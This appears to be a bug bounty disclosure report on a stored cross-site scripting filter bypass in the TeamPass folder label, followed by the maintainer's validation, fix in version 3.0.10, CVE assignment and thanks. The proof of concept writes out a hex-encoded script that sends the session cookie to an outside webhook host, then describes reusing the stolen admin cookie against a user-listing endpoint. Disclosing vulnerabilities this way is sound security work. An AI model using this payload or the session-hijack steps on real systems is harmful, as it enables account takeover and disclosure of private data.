XSS Filter Bypass in Folder Name leading to Information Disclosure in nilsteampassnet/teampass

Valid

Reported on

Jun 12th 2023


Description

Proof of Concept

First, login to Teampass and go to the Folders tab. Create a new folder using Hex entities in the Label. In this case: &#x3c;script&#x3e;fetch&#x28;&#x27;https&#x3a;&#x2f;&#x2f;webhook&#x2e;site&#x2f;jlk&#x2f;&#x27; &#x2b; document&#x2e;cookie&#x29;&#x3c;&#x2f;script&#x3e; which is <script>fetch('https://webhook.site/jlk/' + document.cookie)</script> Next, select the created folder and click on Delete. The payload from the Label is rendered, causing the teampass_session session cookie to be exfiltrated Using a request editor like Burp Suite, make a request to the /sources/users.datatable.php?draw=1&columns%5B0%5D%5Bdata%5D=0&columns%5B0%5D%5Bname%5D=&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=1&columns%5B1%5D%5Bname%5D=&columns%5B1%5D%5Bsearchable%5D=true&columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B2%5D%5Bdata%5D=2&columns%5B2%5D%5Bname%5D=&columns%5B2%5D%5Bsearchable%5D=true&columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B3%5D%5Bdata%5D=3&columns%5B3%5D%5Bname%5D=&columns%5B3%5D%5Bsearchable%5D=true&columns%5B3%5D%5Borderable%5D=true&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B4%5D%5Bdata%5D=4&columns%5B4%5D%5Bname%5D=&columns%5B4%5D%5Bsearchable%5D=true&columns%5B4%5D%5Borderable%5D=true&columns%5B4%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B4%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B5%5D%5Bdata%5D=5&columns%5B5%5D%5Bname%5D=&columns%5B5%5D%5Bsearchable%5D=true&columns%5B5%5D%5Borderable%5D=true&columns%5B5%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B5%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B6%5D%5Bdata%5D=6&columns%5B6%5D%5Bname%5D=&columns%5B6%5D%5Bsearchable%5D=true&columns%5B6%5D%5Borderable%5D=true&columns%5B6%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B6%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B7%5D%5Bdata%5D=7&columns%5B7%5D%5Bname%5D=&columns%5B7%5D%5Bsearchable%5D=true&columns%5B7%5D%5Borderable%5D=true&columns%5B7%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B7%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B8%5D%5Bdata%5D=8&columns%5B8%5D%5Bname%5D=&columns%5B8%5D%5Bsearchable%5D=true&columns%5B8%5D%5Borderable%5D=true&columns%5B8%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B8%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=asc&start=0&length=10&search%5Bvalue%5D=&search%5Bregex%5D=false&_=168659058298 endpoint and insert the teampass_session cookie exfiltrated. You are now able to make queries as the admin. This can be applied to other endpoints to disclose information a low level user should not be able to view.

Impact

The successful exploitation of this vulnerability can lead to the execution of arbitrary HTML and script code in a user's browser session in the context of the affected website. As a result, an attacker can steal session cookies, which could lead to unauthorized actions executed with the privileges of the victim user.

We are processing your report and will contact the nilsteampassnet/teampass team within 24 hours. 3 months ago
Jael Koh modified the report
3 months ago
We have contacted a member of the nilsteampassnet/teampass team and are waiting to hear back 3 months ago
Nils Laumaillé validated this vulnerability 2 months ago
Jael Koh has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Nils Laumaillé marked this as fixed in 3.0.10 with commit 8acb4d 2 months ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
Nils Laumaillé published this vulnerability 2 months ago
Nils Laumaillé gave praise 2 months ago
thank you
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
Jael Koh
2 months ago

Researcher


Thank you!

to join this conversation